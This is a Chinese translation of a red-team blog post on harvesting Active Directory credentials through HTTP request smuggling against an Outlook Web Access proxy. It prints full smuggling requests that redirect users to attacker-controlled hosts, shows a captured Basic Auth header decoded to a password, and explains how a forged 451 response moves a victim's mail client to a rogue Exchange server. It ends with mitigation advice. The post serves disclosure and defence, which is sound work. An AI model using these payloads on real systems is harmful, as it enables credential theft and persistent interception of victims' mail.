利用面向公众的服务是在网络中获得初步立足点的众多方法之一。在野外看到这种情况并不少见。已知各种攻击者会利用缓冲区溢出 ( G0098 )、SQL 注入 ( G0087 ) 或其他（已知）具有功能漏洞代码 ( G0016 ) 的漏洞。

作为红队，我们的任务就是模拟这些对手。红队参与是对符合客户威胁概况的对手的真实模拟。在模拟过程中，我们尝试使用已知对手使用的技术来访问客户的皇冠上的宝石。请注意，这些技术不仅限于滥用技术漏洞，还包括业务（例如密码策略）和行为（例如社会工程）方面。红队参与可用于培训蓝队检测类似攻击并采取行动，以及检查客户的网络弹性如何抵御这些攻击。

本博客描述了我们在一次合作中发现的 HTTP 请求走私 (HRS) 漏洞。它可用于模拟利用面向公众的服务，同时在客户网络中获得初步立足点。在我们的例子中，它允许我们获取 Active Directory 凭据，我们用这些凭据登录 Outlook Web Access (OWA) 以查看敏感数据。

随后，这篇博文将继续介绍如何通过将客户端迁移到恶意中间人 Exchange 服务器来获得对 OWA 的持久访问。

HTTP 请求走私

HTTP 请求走私 (HRS) 漏洞如今非常常见。2005 年，CGISecurity 发布了一份白皮书，详细介绍了该漏洞是如何产生的、它可能造成什么后果以及如何缓解它。如果您不确定 HRS 的工作原理，我强烈建议您阅读该白皮书或 PortSwigger 关于 HRS 的博客文章，以熟悉 HRS。简而言之，当网络服务器和代理不同步时，HRS 就会出现。威胁参与者可以发送在前端服务器中与在后端服务器中以不同方式解释的请求。例如，威胁行为者发送一个特制请求，前端服务器将其解释为 1 个请求，但后端服务器将其解释为实际上 2 个请求。因此，第二个请求“走私”通过前端服务器并最终到达后端服务器。然后，对该请求的响应将提供给下一个访问者，正如来自 PortSwigger 的 James Kettle 所描述的那样，正如来自 PortSwigger 的 James Kettle 所描述的那样。

滥用 HRS 会极大地影响系统的机密性、完整性和可用性。正如一份负责任的披露中所发布的那样，Evan Custodio 能够通过滥用 HRS 窃取 cookie 来接管 Slack 帐户。其他示例包括New Relic 上的凭证盗窃和美国国防部基础设施上的用户重定向。

在我们的案例中，HRS 允许我们获取 Active Directory 凭据，这在下面的攻击叙述中进行了描述。这个攻击叙述包括从零到英雄的整个路径，就像我们在交战期间滥用它一样。

攻击叙述

识别代理基础设施

在与一位客户的合作中，我们的目标是通过渗透他们的数字基础设施来获得初步立足点。由于自动扫描没有产生结果，我们很快转向手动研究。在使用工具GoBuster暴力破解子域时，识别出了包括 Outlook Web Access (OWA) 在内的各种服务。使用的单词列表由@bitquark生成，包含 100.000 个最常用的子域。

$ gobuster dns -d customer.com -i -w ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --wildcard
===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Domain:            customer.com[+] Threads:           10[+] Show IPs:          true[+] Wildcard forced:   true[+] Timeout:           1s[+] Wordlist:          ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt===============================================================1337/07/16 15:30:59 Starting gobuster in DNS enumeration mode===============================================================Found: dev.customer.com [153.92.999.999]Found: www.customer.com [80.148.999.999]Found: owa.customer.com [86.213.999.999] <-- Outlook Web Access (OWA)-- snip --

在检查这些服务时，我们发现我们正在与代理进行通信。有多种方法可以检测服务是否在代理后面运行。Web 应用程序常用的技术是向应用程序发送以下请求，该请求的第一行包含另一个 URI。

要求：

GET https://actually-request-this-site.com/ HTTP/1.1Host: owa.customer.comUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4

常规网络服务器会生成“421 Misdirected Request”响应。下面包含一个示例。

回复：

HTTP/1.1 421 Misdirected RequestServer: ApacheContent-Length: 322Content-Type: text/html; charset=iso-8859-1
-- snip --<p>The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection.</p>-- snip --

然而，当我们针对 运行此命令时owa.customer.com，服务器返回以下响应，a 302 Moved Temporarily。当时，我个人认为这种重定向是 HTTP 代理的典型行为。然而，后来我意识到它应该是实际响应正文中的200 OKor ，如RFC7230中所述。203 Non-Authoritative Information

回复：

HTTP/1.1 302 Moved TemporarilyLocation: https://actually-request-this-site.com/owa/Server: server1X-FEServer: US-EXCH-008-- snip --

然而，确实表明正在使用的代理是Server带有server1as 值的标头。这是 Microsoft IIS 服务器的非默认值。默认情况下，该值为Microsoft-IIS/8.5（或其他版本）。这表明代理很可能改变了响应。

现在我们有了被代理的指示owa.customer.com，我们可以继续检查它是否容易受到 HRS 的攻击。

识别易受攻击的代理设置

考虑到 James Kettle 的研究，我们开始调查这种设置是否可能容易受到 HRS 的影响。为了确定是否owa.customer.com容易受到 HRS 的影响，我们发送了以下请求。

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 Transfer-Encoding: chunkedConnection: keep-aliveHost: owa.customer.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: nl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 124
446kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x0
GET https://hacker.com/ HTTP/1.0X-Ignore: 1

该请求的值为Content-Length124，即整个请求体。它将被发布到代理，代理将使用它来确定正文的长度为 124 字节。然后该请求被转发到实际的 OWA 服务。

如果此设置容易受到 HRS 的影响，OWA 会以不同的方式处理请求（使用分块编码而不是使用内容长度）。分块编码允许客户端在正文中发送数据块。在这种情况下，有一个数据块。这从十六进制开始44，68如果转换为十进制。这是块体的长度，可以在下一行看到。在 68 个字符之后，请求以 size 的块终止0。这是 OWA 接受的正常请求。

然而，终止后的部分未被处理。OWA 服务会将其视为代理（可能来自另一个用户）发送的下一个请求的一部分。

反之亦然（如果代理使用分块编码并且 OWA 使用内容长度）。基础设施容易受到 HRS 影响的方式有多种。所有这些方式都在PortSwigger 的博客中进行了描述。实际上，我们使用的真正技巧是在传输编码头之前插入一个空格；` Transfer-Encoding：分块. The proxy was unable to parse it and used the Content-Length to determine the body length. However, OWA *was* able to parse it and used the Transfer-Encoding` 标头以确定正文长度。

当我们执行上面的请求时，我们从服务器得到了以下响应。

HTTP/1.1 200 OKCache-Control: no-cache, no-storePragma: no-cacheContent-Type: text/html; charset=utf-8Expires: -1Server: server1request-id: 59b59708-3551-44ec-8e05-1e8be2e11859Set-Cookie: ClientId=MMEESFDUOFIVCMQNW; expires=Wed, 30-Mar-2022 20:57:55 GMT; path=/; HttpOnlyX-Frame-Options: SAMEORIGINX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Tue, 30 Mar 2021 20:57:54 GMTContent-Length: 28032
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><!-- Copyright (c) 2011 Microsoft Corporation.  All rights reserved. --><!-- OwaPage = ASP.auth_logon_aspx -->-- snip --

可以看到，响应状态为200 OK，意味着我们的请求有效，并且服务器返回了有效的响应。起初，我认为这意味着它没有解释我们身体的第二部分，因为它会产生400 Bad Request响应状态。我认为代理/OWA 设置很可能容易受到攻击。然而，经过进一步研究发现 OWA 接受任意 POST 数据。

更确定的验证方法是检查其他用户是否在请求正文的第二部分中收到了对我们请求的响应。由于正文第二部分中的请求通常返回 a 301 Moved Permanently，因此另一个用户现在应该已重定向到该hacker.com域，因为该用户获得了重定向作为其请求的响应。为了验证这一点，我们检查了 的访问日志hacker.com。下面包含了其中的重要部分。

root@hacker:/home/tijme# tail -f /var/log/apache2/other_vhosts_access.loghacker.com:443 52.12.999.999 - - [19/Dec/2091:12:09:29 +0200] "OPTIONS /Microsoft-Server-ActiveSync?Cmd=Options&[email protected]&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=Outlook HTTP/1.1" 200 3473 "-" "Outlook-iOS-Android/1.0"

事实上，事实证明它很脆弱！其中一位用户被重定向到我们的hacker.com域，这表明 HRS 请求已成功执行。

看着访问日志，我觉得发生了一些有趣的事情。在我看来，受害者实际上应该GET向 的根或/owa端点发出请求hacker.com，而不是OPTIONS向Microsoft-Server-ActiveSync端点发出请求（因为它被重定向）。然而，翻阅RFC7231后发现，接收到a的客户端301 Moved Permanently 可以为后续请求维护其请求方法和主体，就像a一样308 Permanent Redirect（其中要求客户端维护请求方法和主体）。

总而言之，这意味着可以从用户那里捕获更多信息，我们将在下一章中介绍这些信息。

获得态势感知

从 的访问日志中可以看出hacker.com，受害者尝试使用 执行同步操作Microsoft-Server-ActiveSync。ActiveSync是一种 HTTP 协议，允许用户从 Exchange 服务器下载邮件，而不是使用仅允许用户在 Web 客户端中查看邮件的 OWA。

人们可以在各种邮件客户端（例如Apple Mail）中配置 ActiveSync 。从 Apple 连接 ActiveSync 端点的手册中可以看出，用户必须提供服务器、域、用户名和密码。这些详细信息很可能通过 HTTP 请求发送到服务器。无论是在配置期间还是在每个请求中。

凭据何时发送到服务器实际上取决于 Exchange 中配置的身份验证类型。常见的身份验证类型是“现代身份验证”，它使用 SAML 协议，因此在使用用户名和密码进行初始身份验证后生成身份验证令牌。身份验证类型“ Basic Auth ”是一种通过在每个 HTTP 请求中发送用户名和密码（base64 编码）进行身份验证的方法。

你开始兴奋了吗？如果 Exchange 服务器配置为使用 ActiveSync 和基本身份验证，则用户将在每个 HTTP 请求中发送用户名和密码。由于我们能够执行 HRS，我们也许能够拦截这些凭据！

收集和（滥用）使用凭证

我们目前知道，成功的 HRS 攻击可以将受害者重定向到恶意服务器，邮件客户端维护请求方法，很可能还维护标头和正文，并且我们知道受害者在每个 ActiveSync 请求中发送其 Base64 编码的凭据。这意味着我们距离获取这些凭证仅一步之遥。

可以通过多种方式捕获我们的恶意服务器上的请求标头。对于这个概念验证，我选择使用Burp Collaborator，它充当 HTTP 和各种其他协议的捕获所有服务器。

我更改了最初的 HRS 请求，将受害者重定向到我的 Burp Collaborator URI，而不是hacker.com. 最终请求包含在下面

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 Transfer-Encoding: chunkedConnection: keep-aliveHost: owa.customer.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: nl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 165
446kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x0
GET https://xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net/ HTTP/1.1X-Ignore: 1

几分钟后，正如预期的那样，Burp Collaborator 捕获了来自受害者的 ActiveSync 请求。

POST /[email protected]&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=iPhone&Cmd=FolderSync  HTTP/1.1Host: xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.netContent-Type: application/vnd.ms-sync.wbxmlAccept: */*Accept-Language: nl-nlAccept-Encoding: gzip, deflate, brConnection: keep-aliveMS-ASProtocolVersion: 14.1User-Agent: Apple-iPhone11C8/1804.70Authorization: Basic Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIyContent-Lengh: 13X-MS-PolicyKey: 0
jVR0

我们已成功捕获包含受害者的编码凭据的授权标头。

$ echo Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy | base64 -Dcustomer.com\bob:hunter2

HRS 攻击如下图所示。

将受害者的邮箱永久迁移到我们的流氓交换服务器

这联合国记录的功能

作为红队，我们希望更深入地研究这一发现可能产生的影响。因此，我们从威胁行为者的角度寻找更多选择，其中最值得注意的是永久访问受害者的凭据。事实证明，ActiveSync 有一个“功能”，可以在用户的邮箱从本地迁移到 Office365 时自动更新邮件客户端的配置。此功能的工作原理如下（如视觉效果所示）。

1. 客户端尝试通过 HTTP ActiveSync 协议检索邮件。

2. Exchange 检查用户的邮箱是否存在或者是否迁移到 Office365。

3. DC 返回未找到邮箱（这意味着它已迁移）。

4. Exchange 尝试获取域的 TargetOWAURL（邮箱所在的位置）。

5. DC 返回 TargetOWAURL（本例中为 Outlook.office365.com）。

6. Exchange 通过 HTTP 451 重定向到 TargetOWAURL 来响应客户端。

7. 客户端使用 TargetOWAURL 来处理所有未来的请求。

8. 对 TargetOWAURL 的 HTTP ActiveSync 请求成功。

因此，总而言之，如果 Exchange 服务器以451 Unavailable For Legal Reasons与标头组合的方式响应X-MS-Location，则受害者的 Exchange 服务器配置会相应更新。下面包含此类响应的示例。

HTTP/1.1 451 Unavailable For Legal Reasons Date: Thu, 12 Mar 2009 20:16:22 GMTX-MS-Location: https://mail.contoso.com/Microsoft-Server-ActiveSyncContent-Length: 0

然而，使用我们的 HRS 攻击不可能451 Unavailable For Legal Reasons为受害者生成一个。只能生成301 Moved Permanently，因为这是将 URI 添加到 GET 请求的第一行时的响应。然而，我们可以使用重定向受害者301 Moved Permanently到我们的流氓服务器，该服务器随后响应451 Unavailable For Legal Reasons流氓交换服务器。如果我们确保恶意交换服务器只是合法环境的代理，我们就可以永久地中间人所有受害者的 ActiveSync 请求，而受害者不会注意到任何事情。下面演示了该攻击。

将受害者的邮箱迁移到我们的流氓交易所

为了证明上述理论的有效性，我们将“受害者”（tgad.local\ bob）连接到我们的演示环境；代理后面的 Exchange 服务器tgvmex01.local。Bob 使用 ActiveSync 进行连接。他的 iOS Exchange 配置如下。

想要将 Bob 的邮箱迁移到恶意交换服务器的威胁行为者需要首先执行 HRS 攻击，将 Bob 的 ActiveSync 请求重定向到恶意服务器。下面包含一个示例。

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 Transfer-Encoding: chunkedConnection: keep-aliveHost: tgvmex01.proxyUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: nl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 160
3F6kqfa=x&url=https%3a%2ftgvmex01.proxy%2fowa%2f&reason=0&whfto=x0
GET https://rogue-server.remote/ HTTP/1.1X-Ignore: X

rogue-server.com无论请求是什么，服务器始终提供相同的响应。该响应包含在下面，并且451 Unavailable For Legal Reasons在响应标头中具有流氓交换服务器的状态。

HTTP/1.1 451 Unavailable For Legal ReasonsDate: Thu, 08 Apr 2021 18:14:22 GMTServer: Apache/2.4.46 (Debian)X-MS-Location: https://rogue-exchange.remote/Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8

当 Bob 成为 HRS 攻击的受害者时，他将收到451 Unavailable For Legal Reasons恶意服务器的响应。Bob 的电子邮件客户端会将服务器地址更改为rogue-exchange.remote，因为响应表明邮箱已迁移到该恶意交换机。

这种攻击的前几次尝试都没有成功。但在连续尝试了几次之后，HRS 攻击最终在 Bob 的同步请求上触发，导致 Bob 的邮件客户端将配置更改为恶意 Exchange，如下面 Bob 的 Exchange 设置中所示。

胜利🎉！由于恶意交换将所有请求代理到合法交换，鲍勃不会注意到恶意配置更改（除非他查看他的交换设置）。作为威胁参与者，我们现在能够拦截他的所有 ActiveSync 请求，即使在 Bob 更改了他的凭据之后也是如此。

减轻

针对 HRS 漏洞存在多种缓解措施。在理想情况下，代理服务器和后端服务器（在本例中为 Exchange）完全按照RFC7231中的规定解释 HTTP 请求。这将防止 HRS 漏洞，因为两个服务器都以相同的方式解释 HTTP 请求的边界。

然而，我们并没有生活在理想的世界中。更好的缓解方法是禁用http-reuse代理和后端之间的功能（性能优化），以便每个请求都通过单独的网络连接发送。此外，可以通过强制从代理到后端的 HTTP/2 连接来缓解 HRS，因为此版本的 HTTP 协议中不会出现 HRS 漏洞。

最后，我们强烈建议不要使用基本身份验证作为 Exchange 的身份验证方法。请改用现代身份验证。使用现代身份验证，威胁参与者“只能”拦截 oAuth 令牌。

原文地址：

https://tij.me/blog/harvesting-active-directory-credentials-via-http-request-smuggling/